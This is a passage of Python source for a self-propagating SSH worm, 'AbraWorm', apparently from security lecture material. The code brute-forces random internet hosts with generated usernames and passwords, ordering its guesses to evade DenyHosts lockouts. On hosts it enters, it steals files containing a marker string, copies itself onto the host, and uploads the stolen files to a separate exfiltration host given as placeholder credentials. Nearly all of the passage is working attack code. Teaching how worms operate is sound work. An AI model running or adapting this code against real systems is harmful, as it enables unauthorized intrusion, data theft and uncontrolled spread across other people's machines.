                pal pam pap par pas pat pek pem pet qik rab rob rik rom sab
                sad sag sak sam sap sas sat sit sid sic six tab tad tom tod
                wad was wot xin zap zuk'''

digrams = '''al an ar as at ba bo cu da de do ed ea en er es et go gu ha hi
             ho hu in is it le of on ou or ra re ti to te sa se si ve ur'''

trigrams = trigrams.split()
digrams  = digrams.split()

def get_new_usernames(how_many):
    if debug: return ['xxxxxxx']      # need a working username for debugging
    if how_many == 0: return 0
```

```
    selector = "{0:03b}".format(random.randint(0,7))
    usernames = [''.join(map(lambda x: random.sample(trigrams,1)[0]
          if int(selector[x]) == 1 else random.sample(digrams,1)[0], range(3))) for x in range(how_many)]
    return usernames

def get_new_passwds(how_many):
    if debug: return ['xxxxxxx']      # need a working username for debugging
    if how_many == 0: return 0
    selector = "{0:03b}".format(random.randint(0,7))
    passwds = [ ''.join(map(lambda x:  random.sample(trigrams,1)[0] + (str(random.randint(0,9))
                if random.random() > 0.5 else '') if int(selector[x]) == 1
                        else random.sample(digrams,1)[0], range(3))) for x in range(how_many)]
    return passwds

def get_fresh_ipaddresses(how_many):
    if debug: return ['128.46.144.123']
                    # Provide one or more IP address that you
                    # want 'attacked' for debugging purposes.
                    # The usrname and password you provided
                    # in the previous two functions must
                    # work on these hosts.
    if how_many == 0: return 0
    ipaddresses = []
    for i in range(how_many):
        first,second,third,fourth = map(lambda x: str(1 + random.randint(0,x)), [223,223,223,223])
        ipaddresses.append( first + '.' + second + '.' + third + '.' + fourth )
    return ipaddresses

# For the same IP address, we do not want to loop through multiple user
# names and passwords consecutively since we do not want to be quarantined
# by a tool like DenyHosts at the other end.  So let's reverse the order
# of looping.
while True:
    usernames = get_new_usernames(NUSERNAMES)
    passwds =   get_new_passwds(NPASSWDS)
#    print("usernames: %s" % str(usernames))
#    print("passwords: %s" % str(passwds))
    # First loop over passwords
    for passwd in passwds:
        # Then loop over user names
        for user in usernames:
            # And, finally, loop over randomly chosen IP addresses
            for ip_address in get_fresh_ipaddresses(NHOSTS):
                print("\nTrying password %s for user %s at IP address: %s" % (passwd,user,ip_address))
                files_of_interest_at_target = []
                try:
                    ssh = paramiko.SSHClient()
                    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                    ssh.connect(ip_address,port=22,username=user,password=passwd,timeout=5)
                    print("\n\nconnected\n")
                    # Let's make sure that the target host was not previously
                    # infected:
                    received_list = error = None
                    stdin, stdout, stderr = ssh.exec_command('ls')
                    error = stderr.readlines()
```

```
                    if error is not None:
                        print(error)
                    received_list = list(map(lambda x: x.encode('utf-8'), stdout.readlines()))
                    print("\n\noutput of 'ls' command: %s" % str(received_list))
                    if ''.join(received_list).find('AbraWorm') >= 0:
                        print("\nThe target machine is already infected\n")
                        continue
                    # Now let's look for files that contain the string 'abracadabra'
                    cmd = 'grep -ls abracadabra *'
                    stdin, stdout, stderr = ssh.exec_command(cmd)
                    error = stderr.readlines()
                    if error is not None:
                        print(error)
                        continue
                    received_list = list(map(lambda x: x.encode('utf-8'), stdout.readlines()))
                    for item in received_list:
                        files_of_interest_at_target.append(item.strip())
                    print("\nfiles of interest at the target: %s" % str(files_of_interest_at_target))
                    scpcon = scp.SCPClient(ssh.get_transport())
                    if len(files_of_interest_at_target) > 0:
                        for target_file in files_of_interest_at_target:
                            scpcon.get(target_file)
                    # Now deposit a copy of AbraWorm.py at the target host:
                    scpcon.put(sys.argv[0])
                    scpcon.close()
                except:
                    continue
                # Now upload the exfiltrated files to a specially designated host,
                # which can be a previously infected host.  The worm will only
                # use those previously infected hosts as destinations for
                # exfiltrated files if it was able to send the login credentials
                # used on those hosts to its human masters through, say, a
                # secret IRC channel. (See Lecture 29 on IRC)
                if len(files_of_interest_at_target) > 0:
                    print("\nWill now try to exfiltrate the files")
                    try:
                        ssh = paramiko.SSHClient()
                        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                        #  For exfiltration demo to work, you must provide an IP address and the login
                        #  credentials in the next statement:
                        ssh.connect('yyy.yyy.yyy.yyy',port=22,username='yyyy',password='yyyyyyy',timeout=5)
                        scpcon = scp.SCPClient(ssh.get_transport())
                        print("\n\nconnected to exhiltration host\n")
                        for filename in files_of_interest_at_target:
                            scpcon.put(filename)
                        scpcon.close()
                    except:
                        print("No uploading of exfiltrated files\n")
                        continue
    if debug: break
```